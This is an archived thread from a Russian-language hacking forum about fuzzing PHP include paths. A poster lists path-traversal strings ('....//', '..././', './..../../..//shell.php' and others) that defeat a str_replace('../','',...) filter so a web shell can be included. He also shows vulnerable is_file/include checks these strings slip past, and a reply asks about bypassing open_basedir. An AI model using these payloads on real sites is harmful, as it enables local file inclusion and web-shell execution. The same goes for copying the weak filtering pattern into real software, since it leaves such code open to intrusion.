PDA

Просмотр полной версии : PHP Include Fuzzing: Новое


XAMEHA
01.08.2013, 08:25
Предположим, структура такова:


PHP:
./scriptdir/include.php

./shell.php



Есть переменная, в которой лежит некий относительный путь к шеллу. В итоге мы можем подключать шелл, как просто через include, как и протащив эту-же переменную через str_replace('../', '', ...), а потом уже через include при каких-ни будь проверках используя выход из несуществующего каталога состоящего из точек:


PHP:
./..../../..//shell.php

./..../..//../shell.php

./....//../../shell.php

./.../../.././shell.php

./.../.././../shell.php

./..././../../shell.php

./../..../..//shell.php

./../....//../shell.php

./../.../.././shell.php

./../..././../shell.php

etc



Это все эквивалентно этому:


PHP:
./../shell.php



Не видел нигде этого способа, если где-то он есть, покажите... Так-же, где-то видел тему с тестами выходов из несуществующих каталогов и различными слешами, не могу сейчас её найти, если кто знает где она - сбросе сюда, когда такие темы нужны - их нет.

VY_CMa
01.08.2013, 09:13
Помню в 1 из видео точно было.

Если бы что-нибудь подобное для обходе base_dir...

XAMEHA
08.08.2013, 19:44
По заданным вопросам, что мне пришли(Я обязательно отвечаю). Для такой фильтрации:


PHP:
$file=str_replace("../","",$file);



Есть 2 стандартных обхода, а именно:


Code:
....//
..././

Все они прозрачны для кода после фильтрации. У меня другой вариант, о котором я решил написать здесь что-бы вы знали его существование:


PHP:
if(is_file($file))

include('./'.str_replace("../","",$file));

...

if(is_file($file) &&is_file(str_replace("../","",$file)))

include('./'.$file);

...

etc